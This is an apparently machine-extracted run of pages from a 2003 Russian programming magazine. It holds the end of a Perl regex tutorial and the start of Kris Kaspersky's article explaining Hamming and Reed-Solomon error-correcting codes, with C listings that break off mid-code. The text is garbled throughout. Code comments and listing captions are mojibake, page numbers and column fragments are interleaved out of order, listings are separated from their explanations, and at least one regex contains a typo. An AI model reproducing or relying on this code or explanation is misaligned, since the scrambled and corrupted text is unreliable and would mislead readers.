В основном это нужно для консольных приложений, вместо $progname, подставьте специальную переменную $0, хранящую имя данного исполняемого файла. Поиск n-го совпадения, пример: в каждом четном русскоязычном слове у каждой нечетной буквы поднять регистр. Решение: use locale; # äëÿ ðóññêèõ áóêâ (åñëè íàñòðîåí ëîêàëüíûé êîíòåêñò), # ò.å. óòâåðæäåíèå \w+ èñïîëüçóåòñÿ äëÿ ðóññêèõ ñëîâ $string = "çäåñü êàêèå-íèáóäü ñëîâà è ÷òî-íèáóäü åùå..."; $wc=0; $string =~ s/(\w+)/ if(++$wc % 2 == 0){ chars($1) }else{ $1 } /igex; sub chars{ my($text)=@_; my($res,$chr,$i); for($i=0;$i<=length($text);$i++){ $chr = substr($text,$i,1); if($i % 2 == 0){ $res.=uc($chr); }else{ $res.=$chr; } } return $res; } print $string;
Some numbers: 0 then 1 then 2 and then 3
Вот какой результат будет: Или вот другой пример: çäåñü ÊàÊèÅ-íèáóäü ÑëÎâÀ è ×òÎ-íèáóäü ÅùÅ... $string = "some text is here"; $string =~ tr/oet/ina/; print $string;
Вот что получилось: simn anxa is hnrn Т.е. к каждому символу в первом аргументе сопоставляется какой-то символ из второго аргумента. А вот если первый аргумент длиннее второго, тогда последний символ второго аргумента повторяется до тех пор, пока не будет по длине как первый, например, tr/0-9/abc/ это равно tr/0123456789/abcccccccc/, вот так. Здесь мы рассмотрим множество решений, собранных мной: Поверяем на правильность адрес электронной почты:
№8(9), август 2003
Программа Urlify из книги Perl Cookbook: $urls $ltrs $gunk $punc $any
= = = = =
'(http|telnet|gopher|file|wais|ftp)'; '\w'; '/#~:.?+=&%@!\-'; '.:?\-'; "${$ltrs}${$gunk}${$punc}";
while(<>){ s{\b($urls:[$any]+?)(?=[$punc]*[^$any]|$)} ↵ {<a href="$1">$1</a>}igox; print; }
Определение своих тегов:
85
программирование $string = "some text, <uc>some uppercase text</uc>, than normal text <uc>and uppercase text again</uc>"; $string =~ s#<uc>((?:(?!</uc>).)*)</uc>#uc($1)#igmse; print $string;
Результат такой: some text, SOME UPPERCASE TEXT, than normal text AND UPPERCASE TEXT AGAIN
Вложенные теги не поддерживаются. Хочу сказать пару слов о «доставании» атрибутов из HTML-тегов, если вы не уверены в структуре, тогда это надо делать через модули типа HTML::Parser и подобные ему. А если вам нужна скорость и может быть потеря нескольких ссылок, тогда воспользуйтесь моим решением:
Вот результат: JavaScript: alert('cmon') new.htm
Далее несколько решений, взятых из книги Perl Cookbook. Удаление комментариев C (не идеальное): $string =~ s{ /\* .*? \*/ }[]gsx;
Поиск всех слов, записанных символами верхнего регистра: @capwords = ($string =~ m/(\b[^\Wa-z0-9_]+\b)/g);
$href = qq~<a href = "JavaScript: alert('cmon')" ↵ title =" cmon "> test </a> <a href='new.htm'>new link</a> ~; sub cut_tag{ my($tag,$param,$text)=@_; my(@mas,$param_line); if($tag and $param and $text){ while($text =~ m#<($tag)(.+?)>(.*?)</\1>#igso){ $param_line = $2; if($param_line =~ /$param/i){ $param_line =~ m/$param\s*=\s*(["']?) ↵ (.*?)\1/ogis; push(@mas,$2); } } return @mas; }else{ return 0; } } # ïåðâûé àðãóìåíò – HTML-òåã, èç êîòîðîãî íóæíî äîñòàâàòü # àòðèáóò, âòîðîé àðãóìåíò – ýòî è åñòü àòðèáóò, êîòîðûé # áóäåò âûíóò, à òðåòèé àðãóìåíò – ýòî òåêñò, èç êîòðîãî âñå # ýòî áóäåò äîñòàâàòüñÿ (âñå èçâëåêàåòñÿ â ìàññèâ) @m = cut_tag("a","href",$href); print join "\n",@m;
86
Поиск всех слов, записанных символами нижнего регистра: @capwords = ($string =~ m/(\b[^\WA-Z0-9_]+\b}/g);
Поиск всех слов, начинающихся с буквы верхнего регистра: @icwords = ($string =~ m/(\b[^\Wa-z0-9_][^\WA-Z0-9_]*\b)/g);
Вроде бы разобрались с операторами поиска/замены текста, на самом деле это очень маленькая доля того, что можно рассказать о регулярных выражениях, но как я говорил в самом начале статьи, что попытаюсь как можно лаконичнее объяснить материал, надеюсь, у меня получилось. Удачи!
образование
МОГУЩЕСТВО КОДОВ РИДА-СОЛОМОНА Энтропия слепа, но терпелива. Рано или поздно, обстреливая наши позиции по квадратам, она нанесет удар по штабу, по центру связи. И тогда первая линия обороны уничтожена. И приходится отходить на запасные позиции. Иными словами, доставать из магнитотеки пакет дисков с копией тома. Е. В. Лишак «Тридцать второй день года. (Записки парасистемного программиста).»
ИЛИ ИНФОРМАЦИЯ, ВОСКРЕСШАЯ ИЗ ПЕПЛА Все вы наверняка слышали о существовании помехозащитных кодов Рида-Соломона, широко использующихся в устройствах передачи и хранения данных для обнаружения и исправления как одиночных, так и групповых (!) ошибок. Область их применения необычайно широка – кодеры/декодеры Рида-Соломона можно найти и в ленточных запоминающих устройствах, и в контроллерах оперативной памяти, и в модемах, и в жестких дисках, и в CD-ROM/DVD-приводах и т. д. Благодаря им некоторые продвинутые архиваторы безболезненно переносят порчу нескольких секторов носителя, содержащего архив, а подчас и полное разрушение целого тома многотомного архива. Еще коды Рида-Соломона позволяют защитному механизму автоматически восстанавливать байтики, хакнутые взломщиком и/или искаженные в результате сбоя программного/аппаратного обеспечения. Короче говоря, если владение техникой помехозащитного кодирования не превращает вас в Бога, то, по крайней мере, поднимает на Олимп, где среди бесшумных вентиляторов и безглючных операционных систем снуют великие компьютерные гуру.
КРИС КАСПЕРСКИ 88
образование В то же время лишь немногие программисты могут похвастаться собственной реализацией алгоритмов РидаСоломона. Да и зачем? Готовых библиотек море: от прагматичных коммерческих пакетов до бесплатных исходников, распространяемых по лицензии GNU. Как говорится, бери – не хочу1. Что ж, в использовании библиотек есть вполне определенный практический смысл, но никакой хакер не доверит управление программе до тех пор, пока не поймет, как именно она работает (а эта публикация именно для хакеров и предназначена, естественно, «хакеров» в хорошем значении этого слова). С другой стороны, при анализе программного обеспечения, распространяемого без исходных кодов, вы не сможете идентифицировать алгоритм Рида-Соломона, если только заранее не разберетесь во всех его тонкостях. Допустим, вам встретилась защита, хитрым образом манипулирующая с EDC/ECC-полями ключевых секторов, считанных ею с лазерного диска, и каждый такой сектор содержит две умышленно внесенные ошибки (плюс еще ошибки, естественным путем возникающие при небрежном обращении с CD), причем одна из этих ошибок ложная и исправлять ее не нужно. При штатном копировании защищенного диска микропроцессорная начинка CD-ROM автоматически исправляет все ошибки, которые она только может исправить, в результате чего происходит искажение ключевых меток и, как следствие, защищенная программа перестанет работать. Можно, конечно, скопировать диск в «сыром» режиме, т.е. без исправления ошибок, но тогда копия будет содержать как непредумышленные, так и предумышленные ошибки, в результате чего даже при незначительном повреждении оригинала корректирующих возможностей кодов Рида-Соломона уже окажется недостаточно, и диск просто перестанет читаться (а как вы хотели? копирование дисков в сыром режиме ведет к накоплению ошибок и потому крайне непрактично с любой точки зрения). Владение базовыми принципами помехозащитного кодирования позволит вам разобраться с логикой работы защитного механизма и понять, какие конкретные ошибки следует исправлять, а какие нет. К сожалению, подавляющее большинство публикаций на тему кодов Рида-Соломона написаны на языке высшей математики, для постижения которой и университетских знаний подчас оказывается недостаточно (да и все ли хакеры знают математику?), в результате чего все эти сильно теоретизированные руководства забрасываются на полку. Программная реализация корректирующих кодов Рида-Соломона действительно очень сложна и действительно требует определенной математической подготовки, изложение основ которой может показаться скучным и неинтересным для «системщиков» и «железячников»,
но иного пути, видимо, нет. В конце концов никто не обещал вам, что быть программистом – легко, а хорошим программистом быть еще труднее. Так что не говорите потом, что я вас не предупреждал! Шутка! Расслабтесь и разгоните свой страх перед высшей математикой прочь. По ходу описания вам встретится пара формул (ну куда же в математике без формул?), но во всех остальных случаях я буду говорить на интернациональном программистском языке – языке Си, понятным любому системщику. В общем, пристегивайте ремни и поднимайте свои головы с клавиатуры – мы поехали! Конечной целью нашего путешествия станет построение отказоустойчивого RAID-массива 5 уровня на базе… нескольких обыкновенных IDE/SCSI-контроллеров жестких дисков. 4/5 объема такого массива будут отданы непосредственно под полезные данные, а 1/5 – под избыточную информацию, позволяющую восстановить содержимое любого жесткого диска из пяти данных, даже если он будет полностью уничтожен!
Корректирующие коды и помехоустойчивое кодирование (азы) Персональные компьютеры с их битами и байтами настолько прочно вошли в нашу жизнь, что программисты вообще перестали задумываться о теории кодирования информации, принимая ее как должное. Между тем, здесь все не так просто, как может показаться на первый взгляд. Фактически кодирование есть ни что иное, как преобразование сообщения в последовательность кодовых символов, так же называемых кодовыми словами. Любое дискретное сообщение состоит из конечного числа элементов: в частности, текст состоит из букв, изображение состоит из пикселей, машинная программа состоит из команд и т. д., – все они образуют алфавит источника сообщения. При кодировании происходит преобразование элементов сообщения в соответствующие им числа – кодовые символы, причем каждому элементу сообщения присваивается уникальная совокупность кодовых символов, называемая кодовой комбинацией. Совокупность кодовых комбинаций, образующих сообщение, и есть код. Множество возможных кодовых символов называется кодовым алфавитом, а их количество (далее по тексту обозначаемое малой латинской m) – основанием кода. Впрочем, все это вы уже наверняка знаете (а если не знаете, то без труда найдете исчерпывающее объяснение основ кодирования в любом учебнике по информатике), но знаете ли вы, что такое расстояние Хемминга? Это минимальное количество различий между двумя различными допустимыми кодовыми словами и в теории помехоустойчивого кодирования расстояние Хемминга играет основополагающую роль. Рассмотрим, например, следующий 4-битный код:
Общее представление Коды Рида-Соломона – недвоичные совершенные систематические линейные блочные коды, относящиеся к классу циклических кодов с числовым полем, отличным от GF(2), и являющиеся подмножеством кодов Боуза-ЧоудхуриХоквингема. Корректирующие способности кодов Рида-Соломона напрямую зависят от количества контрольных байт. Добавление r контрольных байт позволяет обнаруживать r произвольным образом искаженных байт, гарантированно восстанавливая r/2 байт из них.
№8(9), август 2003
89
образование Ëèñòèíã 1. Ïðèìåð ïðîñòåéøåãî 4-áèòíîãî êîäà ñ ðàññòîÿíèåì Õåììèíãà, ðàâíûì åäèíèöå. Òàêîé êîä øèðîêî èñïîëüçóåòñÿ â âû÷èñëèòåëüíîé òåõíèêå, íåñìîòðÿ íà åãî íåâîçìîæíîñòü îáíàðóæèòü îøèáêè. 0 1 2 3
→ → → →
0000; 0001; 0010; 0011;
4 5 6 7
→ → → →
0100; 0101; 0110; 0111;
8 → 1000; 9 → 1001; 10 → 1010; 11 → 1011;
12 13 14 15
→ → → →
1100; 1101; 1110; 1111;
Это обыкновенный двоичный код, который можно встретить в некоторых однокристаллках, вмещающий в свои 4 бита 16 символов (т.е. с его помощью можно закодировать 16 букв алфавита). Как нетрудно убедиться, два любых символа отличаются по меньшей мере на один бит, следовательно, расстояние Хемминга для такого кода равно единице (что условно обозначает как d = 1). А вот другой 4-битный код: Ëèñòèíã 2. Ïðèìåð 4-áèòíîãî êîäà ñ ðàññòîÿíèåì Õåììèíãà, ðàâíûì äâóì, ñïîñîáíîãî îáíàðóæèâàòü îäèíî÷íûå îøèáêè. 0 1 2 3
→ → → →
0000; 0011; 0101; 0110;
4 5 6 7
→ → → →
1001; 1010; 1100; 1111;
На этот раз два произвольных символа отличаются как минимум в двух позициях, за счет чего информационная емкость такого кода сократилась с 16 до 8 символов. «Постойте-постойте! – воскликнет иной читатель. – Что это за бред? Куда делась комбинация 0001 или 0010, например?». Нет, это не бред, и указанных комбинаций бит в данном коде действительно нет, точнее, они есть, но объявлены запрещенными. Благодаря этому обстоятельству наш подопечный код способен обнаруживать любые одиночные ошибки. Возьмем, например, символ «1010» и исказим в нем произвольный бит (но только один!). Пусть это будет второй слева бит, тогда искаженный символ станет выглядеть так: «1110». Поскольку комбинация «1110» является запрещенной, декодер может засвидетельствовать наличие ошибки. Увы, только засвидетельствовать, но не исправить, т.к. для исправления даже одного-единственного сбойного байта требуется увеличить расстояние Хемминга как минимум до трех. Поскольку 4-битный код с d = 3 способен вмещать в себя лишь два различных символа, то он крайне ненагляден и потому нам лучше выбрать код с большей разрядностью. Хорошо, пусть это будет 10-битный код с d = 5. Ëèñòèíã 3. Ïðèìåð 10-áèòíîãî êîäà, ñ ðàññòîÿíèåì Õåììèíãà, ðàâíûì ïÿòè, ñïîñîáíîãî îáíàðóæèâàòü 4-áèòíûå îøèáêè, à èñïðàâëÿòü 2-áèòíûå. 0000000000 0000011111
1111100000
1111111111
Возьмем, к примеру, символ «0000011111» и искорежим два любых бита, получив в итоге что-то наподобие: «0100110111». Поскольку такая комбинация является запрещенной, декодер понимает, что произошла ошибка. Достаточно очевидно, что если количество сбойных бит меньше расстояния Хемминга хотя бы наполовину, то декодер может гарантированно восстановить исходный символ. Действительно, если между двумя любыми разрешенными символами существует не менее пяти различий, то искажение двух бит всякого такого символа приведет к образованию нового символа (обозначим его k), причем расстояние Хем-
90
минга между k и оригинальным символом равно числу непосредственно искаженных бит (т.е. в нашем случае двум), а расстояние до ближайшего соседнего символа равно: d – k (т.е. в нашем случае трем). Другими словами, пока d – k > k декодер может гарантированно восстановить искаженный символ. В тех случаях, когда d > k > d – k, успешное восстановление уже не гарантируется, но при удачном стечении обстоятельств все-таки оказывается в принципе возможным. Возвращаясь к нашему символу «0000011111», давайте на этот раз исказим не два бита, а четыре: «0100110101» и попробуем его восстановить. Изобразим процесс восстановления графически: Ëèñòèíã 4. Âîññòàíîâëåíèå 4-áèòíîé îøèáêè. 0000000000 0000011111 0100110101 0100110101 ---------- ---------5 îòëè÷èé 4 îòëè÷èÿ
1111100000 0100110101 ---------6 îòëè÷èé
1111111111 0100110101 ---------5 îòëè÷èé
Грубо говоря, обнаружив ошибку, декодер последовательно сличает искаженный символ со всеми разрешенными символами алфавита, стремясь найти символ наиболее «похожий» на искаженный. Точнее, символ с наименьшим числом различий, а еще точнее, символ, отличающийся от искаженного не более чем в (d – 1) позициях. Легко видеть, что в данном случае нам повезло, и восстановленный символ совпал с истинным. Однако если бы четыре искаженных бита распределились бы так: «0111111111», то декодер принял бы этот символ за «1111111111» и восстановление оказалось бы неверным. Таким образом, исправляющая способность кода определяется по следующей формуле: для обнаружения r ошибок расстояние Хемминга должно быть больше или равно r, а для коррекции r ошибок расстояние Хемминга должно быть по крайней мере на единицу больше удвоенного количества r. Ëèñòèíã 5. Êîððåêòèðóþùèå ñïîñîáíîñòè ïðîñòîãî êîäà Õåììèíãà. îáíàðóæåíèå îøèáîê: èñïðàâëåíèå îøèáîê: èíôîðìàöèîííàÿ åìêîñòü:
d ≥ r d > 2r 2n/d
Теоретически количество обнаруживаемых ошибок неограничено, практически же информационная емкость кодовых слов стремительно тает с ростом d. Допустим, у нас есть 24 байта данных, и мы хотели бы исправлять до двух ошибок на каждый такой блок. Тогда нам придется добавить к этому блоку еще 49 байт, в результате чего реальная информационная емкость блока сократится всего… до 30%! Хорошенькая перспектива, не так ли? Столь плачевный результат объясняется тем, что биты кодового слова изолированы друг от друга и изменение одного из них никак не сказывается на окружающих. А что если… Пусть все биты, номера которых есть степень двойки, станут играть роль контрольных битов, а оставшиеся и будут обычными («информационными») битами сообщения. Каждый контрольный бит должен отвечать за четность суммы2 некоторой принадлежащей ему группы битов, причем один и тот же информационный бит может относиться к различным группам. Тогда один информационный бит сможет влиять на несколько контрольных и потому информационная емкость слова значительно (можно даже сказать,
образование чудовищно) возрастет. Остается только выбрать наиболее оптимальное разделение сфер влияния. Согласно методу помехозащитного кодирования, предложенного Хеммингом, для того чтобы определить, какие контрольные биты контролируют информационный бит, стоящий в позиции k, мы должны разложить k по степеням двойки: Òàáëèöà 1. Ðàçäåëåíèå áèò íà êîíòðîëüíûå è èíôîðìàöèîííûå.
трольный бит при желании может быть легко восстановлен по методике, уже описанной выше (только есть ли в этом смысл? ведь контрольные биты все равно «выкусываются» в процессе декодирования кодового слова). На первый взгляд кажется, что коды Хемминга жутко неэффективны, ведь на 4 информационных бита у нас приходится 3 контрольных, однако поскольку номера контрольных бит представляют собой степень двойки, то с ростом разрядности кодового слова они начинают располагаться все реже и реже. Так, ближайший к биту C контрольный бит D находится в позиции 8 (т.е. в трех шагах), зато контрольный бит E отделен от бита D уже на (24 - 23 - 1) = 7 «шагов», а контрольный бит F и вовсе на (25 - 24 - 1) = 15 «шагов». Таким образом, с увеличением разрядности обрабатываемого блока, эффективность кодов Хемминга стремительно нарастает, что и показывает следующая программа:
Давайте в порядке закрепления материала попробуем пощупать коды Хемминга «вживую» и вручную рассчитаем контрольную сумму 4-битного символа «0101». После резервирования «квартир» для контрольных битов (выделенных в тексте жирным шрифтом) наш символ будет выглядеть так: AB0C101D. Теперь остается только рассчитать значения битов A, B, C и D: Бит A, контролирующий биты 3, 5 и 7 равен нулю, т.к. их сумма (0 + 1 + 1) четна. Бит B, контролирующий биты 3, 6 и 7 равен одному, т.к. их сумма (0 + 0 + 1) нечетна. Бит C, контролирующий биты 5, 6 и 7 равен нулю, т.к. их сумма (1 + 0 + 1) четна. Бит D никакой роли не играет, т.к. он контролирует лишь те биты, которые расположены справа от него, а никаких битов справа от него уже и нет. И приведен он лишь затем, чтобы получить 8 бит – общепринятый байт.
Ëèñòèíã 7. Ðàñ÷åò ýôôåêòèâíîé èíôîðìàöèîííîé åìêîñòè êîäîâ Õåììèíãà äëÿ ñëîâ ðàçëè÷íîé äëèíû.
Таким образом, «новоиспеченное» кодовое слово будет выглядеть так: «0100101», где жирным шрифтом выделены контрольные биты.
Ëèñòèíã 8. Ðåçóëüòàò ðàñ÷åòà ýôôåêòèâíîé èíôîðìàöèîííîé åìêîñòè êîäîâ Õåììèíãà äëÿ ñëîâ ðàçëè÷íîé äëèíû.
Ëèñòèíã 6. Êîäîâîå ñëîâî âìåñòå ñ èíôîðìàöèîííûìè áèòàìè. AB0C101D 12345678
Допустим, при передаче наше слово было искажено в одной позиции и стало выглядеть так: 0100111. Сможем ли мы обнаружить такую ошибку? А вот сейчас и проверим! Так, бит A должен быть равен: (0 + 1 + 1) % 2 = 0, что соответствует истине. Бит B должен быть равен (0 + 1 + 1) % 2 = 0, а в нашем слове он равен единице. Запомним номер «неправильного» контрольного бита и продолжим. Бит C должен быть равен (1 + 1 + 1) % 2 = 1, а он равен нулю! Ага, значит, контрольные биты в позициях 2 (бит B) и 4 (бит C) обнаруживают расхождение с действительностью. Их сумма (2 + 4 = 6) и дает позицию сбойного бита. Действительно, в данном случае номер искаженного бита равен 6, инвертируем его, тем самым восстанавливая наше кодовое слово в исходный вид. А что если искажение затронет не информационный, а контрольный бит? Проверка показывает, что позиция ошибки успешно обнаруживается и в этом случае, и кон-
№8(9), август 2003
main() { int int int int
a; _pow = 1; old_pow = 1; N, old_N = 1;
printf( "* * * hamming code efficiency test * * * ↵ by Kris Kaspersky\n"\ " BLOCK_SIZE FUEL UP EFFICIENCY\n"\ "-----------------------------------\n"); for (a = 0; a < MAX_POW; a++) { N = _pow - old_pow - 1 + old_N; printf("%8d %8d %8.1f%%\n",_pow, N, (float) ↵ N/_pow*100); // NEXT old_pow = _pow; _pow = _pow * 2; old_N = N; } printf("-----------------------------------\n"); }
BLOCK_SIZE FUEL UP EFFICIENCY ----------------------------------1 0 0.0% 2 0 0.0% 4 1 25.0% 8 4 50.0% 16 11 68.8% 32 26 81.3% 64 57 89.1% 128 120 93.8% 256 247 96.5% 512 502 98.0% 1024 1013 98.9% 2048 2036 99.4% 4096 4083 99.7% 8192 8178 99.8% 16384 16369 99.9% 32768 32752 100.0% 65536 65519 100.0% 131072 131054 100.0% 262144 262125 100.0% 524288 524268 100.0% -----------------------------------
Из приведенной выше распечатки видно, что при обработке блоков, дотягивающихся хотя бы до 1024 бит, накладными расходами на контрольные биты можно полностью пренебречь. К сожалению, коды Хемминга способны исправлять лишь одиночные ошибки, т.е. допускают искажение всего
91
образование лишь одного сбойного бита на весь обрабатываемый блок. Естественно, с ростом размеров обрабатываемых блоков увеличивается и вероятность ошибок. Поэтому выбор оптимальной длины кодового слова является весьма нетривиальной задачей, как минимум требующей знания характера и частоты возникновения ошибок используемых каналов передачи информации. В частности, для ленточных накопителей, лазерных дисков, винчестеров и тому подобных устройств коды Хемминга оказываются чрезвычайно неэффективными. Зачем же тогда мы их рассматривали? А затем, что понять прогрессивные системы кодирования (к которым в том числе относятся и коды Рида-Соломона), ринувшись атаковать их «с нуля», практически невозможно, ибо они завязаны на сложной, действительно высшей математике, но ведь не Боги горшки обжигают, верно?
Идея кодов Рида-Соломона Если говорить упрощенно, то основная идея помехозащитного кодирования Рида-Соломона заключается в умножении информационного слова, представленного в виде полинома D, на неприводимый полином G3, известный обеим сторонам, в результате чего получается кодовое слово C, опять-таки представленное в виде полинома. Декодирование осуществляется с точностью до наоборот: если при делении кодового слова C на полином G декодер внезапно получает остаток, то он может рапортовать наверх об ошибке. Соответственно, если кодовое слово разделилось нацело, его передача завершилась успешно. Если степень полинома G (называемого так же порождающим полиномом) превосходит степень кодового слова по меньшей мере на две степени, то декодер может не только обнаруживать, но и исправлять одиночные ошибки. Если же превосходство степени порождающего полинома над кодовым словом равно четырем, то восстановлению поддаются и двойные ошибки. Короче говоря, степень полинома k связана с максимальным количеством исправляемых ошибок t следующим образом: k = 2∗t. Следовательно, кодовое слово должно содержать два дополнительных символа на одну исправляемую ошибку. В то же время максимальное количество распознаваемых ошибок равно t, т.е. избыточность составляет один символ на каждую распознаваемую ошибку. В отличие от кодов Хемминга, коды Рида-Соломона могут исправлять любое разумное количество ошибок при вполне приемлемом уровне избыточности. Спрашиваете, за счет чего это достигается? Смотрите, в кодах Хемминга контрольные биты контролировали лишь те информационные биты, что находятся по правую сторону от них и игнорировали всех «левосторонних» товарищей. Обратимся к таблице 1: добавление восьмого контрольного бита D ничуть не улучшило помехозащищенность кодирования, поскольку контрольному биту D было некого контролировать. В кодах же Рида-Соломона контрольные биты распространяют свое влияние на все информационные биты и потому с увеличением количества контрольных бит увеличивается и количество распознаваемых/устраняемых ошибок. Именно благодаря последнему обстоятельству, собственно, и вызвана ошеломляющая популярность корректирующих кодов Рида-Соломона.
92
Теперь о грустном. Для работы с кодами Рида-Соломона обычная арифметика, увы, не подходит и вот почему. Кодирование предполагает вычисления по правилам действия над многочленами, с коэффициентами которых надо выполнять операции сложения, вычитания, умножения и деления, причем все эти действия не должны сопровождаться какимлибо округлением промежуточных результатов (даже при делении!), чтобы не вносить неопределенность. Причем и промежуточные, и конечные результаты не имеют права выходить за пределы установленной разрядной сетки… «Постойте! – воскликнет внимательный читатель. – Да ведь это невозможно! Чтобы при умножении и не происходило «раздувания» результатов, кто же в этот бред поверит?!» Впрочем, если как следует подумать головой, частично призвав на помощь и другие части тела, можно сообразить, что умножать информационное слово на порождающий полином вовсе не обязательно, можно поступить гораздо хитрее: Добавляем к исходному информационному слову D справа k нулей, в результате чего у нас получается слово длины n = m + r и полином Xr∗D, где m – длина информационного слова. Делим полученный полином Xr∗D на порождающий полином G и вычисляем остаток от деления R, такой что: Xr∗D = G∗Q + R, где Q – частное, которое мы благополучно игнорируем за ненадобностью, – сейчас нас интересует только остаток. Добавляем остаток R к информационному слову D, в результате чего получаем симпатичное кодовое слово C, информационные биты которых хранятся отдельно от контрольных бит. Собственно, тот остаток, который мы получили в результате деления, и есть корректирующие коды Рида-Соломона. Между нами говоря, способ кодирования, при котором информационные и контрольные символы хранятся раздельно, называется систематическим кодированием и такое кодирование весьма удобно с точки зрения аппаратной реализации. Мысленно прокручиваем предыдущие пункты, пытаясь обнаружить, на какой же стадии вычислений происходит выход за разрядную сетку и… такой стадии нет! Остается лишь отметить, что информационное слово + корректирующие коды можно записать как: T = Xr∗D + R = G∗Q. Декодирование полученного слова T осуществляется точно так же, как уже и было описано ранее. Если при делении T (которое в действительности является произведением G на Q) на порождающий полином G образуются остаток, то слово T искажено и, соответственно, наоборот. Теперь вопрос на засыпку. Как вы собираетесь осуществлять деление полиномов в рамках общепринятой алгебры? В целочисленной арифметике деление определено не для всех пар чисел (вот, в частности, 2 нельзя разделить на 3, а 9 нельзя разделить на 4, без потери значимости, естественно). Что же касается «плавучки», то ее точность еще та (в смысле точность катастрофически недостаточная для эффективного использования кодов Рида-Соломона), к тому же она достаточно сложна в аппаратной реализации. Ладно, в IBM PC с процессором Pentium быстродействующий математический сопроцессор всем нам дан
образование по дефолту, но что делать разработчикам ленточных накопителей, винчестеров, CD-приводов, наконец? Пихать в них четвертый Пень?! Нет уж, увольте, лучше воспользоваться специальной арифметикой – арифметикой конечных групп, называемых полями Галуа. Достоинство этой арифметики в том, что операции сложения, вычитания, умножения и деления определены для всех членов поля (естественно, исключая ситуацию деления на ноль), причем число, полученное в результате любой из этих операций, обязательно присутствует в группе! Т.е. при делении любого целого числа A, принадлежащего множеству 0…255, на любое целое число B из того же множества (естественно, B не должно быть равно нулю), мы получим число C, входящее в данное множество. А потому потерь значимости не происходит, и никакой неопределенности не возникает! Таким образом, корректирующие коды Рида-Соломона основаны на полиномиальных операциях в полях Галуа и требуют от программиста владения сразу несколькими аспектами высшей математики из раздела теории чисел. Как и все «высшее», придуманное математиками, поля Галуа есть абстракция, которую невозможно ни наглядно представить, ни «пощупать» руками. Ее просто надо принять как набор аксиом, не пытаясь вникнуть в его смыл, достаточно всего лишь знать, что она работает, вот и все. А еще есть полиномы немеряных степеней и матрицы в пол-Европы, от которых нормальный системщик не придет в восторг (увы, программист-математик скорее исключение, чем правило). Поэтому, прежде чем ринуться в непроходимые джунгли математического леса абстракций, давайте сконструируем макет кодера/декодера Рида-Соломона, работающий по правилам обычной целочисленной алгебры. Естественно, за счет неизбежного в этом случае расширения разрядной сетки такому кодеру/декодеру будет очень трудно найти практическое применение, но… зато он нагляден и позволяет не только понять, но и почувствовать принцип работы корректирующих кодов Рида-Соломона. Мы будем исходить из того, что если g = 2n + 1, то для любого a из диапазона 0…2n, произведение a∗g = c (где с – кодовое слово), будет представлять, по сути, полную мешанину битов обоих исходных чисел. Допустим n = 2, тогда g = 3. Легко видеть: на что бы мы не умножали g – хоть на 0, хоть на 1, хоть на 2, хоть на – 3, полученный результат делится нацело на g в том и только том случае, если никакой из его бит не инвертирован (то есть, попросту говоря, одиночные ошибки отсутствуют). Остаток от деления однозначно указывает на позицию ошибки (при условии, что ошибка одиночная, групповые же ошибки данный алгоритм исправлять не способен). Точнее, если ошибка произошла в позиции x, то остаток от деления k будет равен k = 2x. Для быстрого определения x по k можно воспользоваться тривиальным табличным алгоритмом. Впрочем, для восстановления сбойного бита знать его позицию совершенно необязательно, достаточно сделать R = e ^ k, где e – искаженное кодовое слово, ^ – операция XOR, а R – восстановленное кодовое слово. В общем, законченная реализация кодера/декодера может выглядеть так:
№8(9), август 2003
Ëèñòèíã 9. Ïðîñòåéøèé ïðèìåð ðåàëèçàöèè êîäåðà/äåêîäåðà ÐèäàÑîëîìíà, ðàáîòàþùåãî ïî îáû÷íîé àðèôìåòèêå (ò.å. ñ íåîïðàâäàííûì ðàñøèðåíèåì ðàçðÿäíîé ñåòêè), è èñïðàâëÿþùèì ëþáûå îäèíî÷íûå îøèáêè â îäíîì 8-áèòíîì èíôîðìàöèîííîì ñëîâå (âïðî÷åì, ïðîãðàììó ëåãêî àäàïòèðîâàòü è ïîä 16-áàéòîâûå èíôîðìàöèîííûå ñëîâà). Îáðàòèòå âíèìàíèå, ÷òî êîäåð ðåàëèçóåòñÿ ÷óòü ëè íå íà ïîðÿäîê ïðîùå äåêîäåðà.  íàñòîÿùåì äåêîäåðå Ðèäà-Ñîëîìíà, ñïîñîáíîì èñïðàâëÿòü ãðóïïîâûå îøèáêè, ýòîò ðàçðûâ åùå çíà÷èòåëüíåå. // ÂÍÈÌÀÍÈÅ! äàííûé êîäåð/äåêîäåð ïîñòðîåí íà îñíîâå // îáû÷íîé àðèôìåòèêè, íå àðèôìåòèêè ïîëåé Ãàëóà, // â ðåçóëüòàòå ÷åãî åãî ïðàêòè÷åñêèå âîçìîæíîñòè áîëåå // ÷åì îãðàíè÷åíû, òåì íå ìåíåå îí íàãëÿäåí è óäîáåí äëÿ // èçó÷åíèÿ #include <stdio.h> // øèðèíà âõîäíîãî èíôîðìàöèîííîãî ñèìâîëà (áèò) #define SYM_WIDE 8 // âõîäíûå äàííûå (îäèí áàéò) #define DATAIN 0x69 // íîìåð áèòà, êîòîðûé áóäåò ðàçðóøåí ñáîåì #define ERR_POS 3 // íåïðèâîäèìûé ïîëèíîì #define MAG (1<<(SYM_WIDE*1) + 1<<(SYM_WIDE*0)) // -----------------------------------------------------// îïðåäåëåíèå ïîçèöèè îøèáêè x ïî îñòàòêó k îò äåëåíèÿ // êîäîâîãî ñëîâà íà ïîëèíîì k = 2^x, ãäå "^" – âîçâåäåíèå // â ñòåïåíü; ôóíêöèÿ ïðèíèìàåò k è âîçâðàùàåò x // -----------------------------------------------------int pow_table[9] = {1,2,4,8,16,32,64,128,256}; lockup(int x) {int a;for(a=0;a<9;a++) ↵ if(pow_table[a]==x)return a; return -1;} main() { int i; int g; int c; int e; int k; fprintf(stderr,"simplest Reed-Solomon endoder/decoder ↵ by Kris Kaspersky\n\n"); // âõîäíûå äàííûå (èíôîðìàöèîííîå ñëîâî) i = DATAIN; // íåïðèâîäèìûé ïîëèíîì g = MAG; printf("i = %08x DATAIN)\ng = %08x ↵ (POLYNOM)\n", i, g); // ÊÎÄÅÐ ÐÈÄÀ-ÑÎËÎÌÎÍÀ (ïðîñòåéøèé, íî âñå-òàêè êîå-êàê // ðàáîòàþùèé). // Âû÷èñëÿåì êîäîâîå ñëîâî, ïðåäíàçíà÷åííîå äëÿ ïåðåäà÷è c = i * g; printf("c = %08x (CODEWORD)\n", c); // êîíåö ÊÎÄÅÐÀ // ïåðåäàåì ñ èñêàæåíèÿìè e = c ^ (1<<ERR_POS); printf("e = %08x ↵ (RAW RECIVED DATA+ERR)\n\n", e); /* ^^^^ èñêàæàåì îäèí áèò, èìèòèðóÿ îøèáêó ïåðåäà÷è */ // // // if {
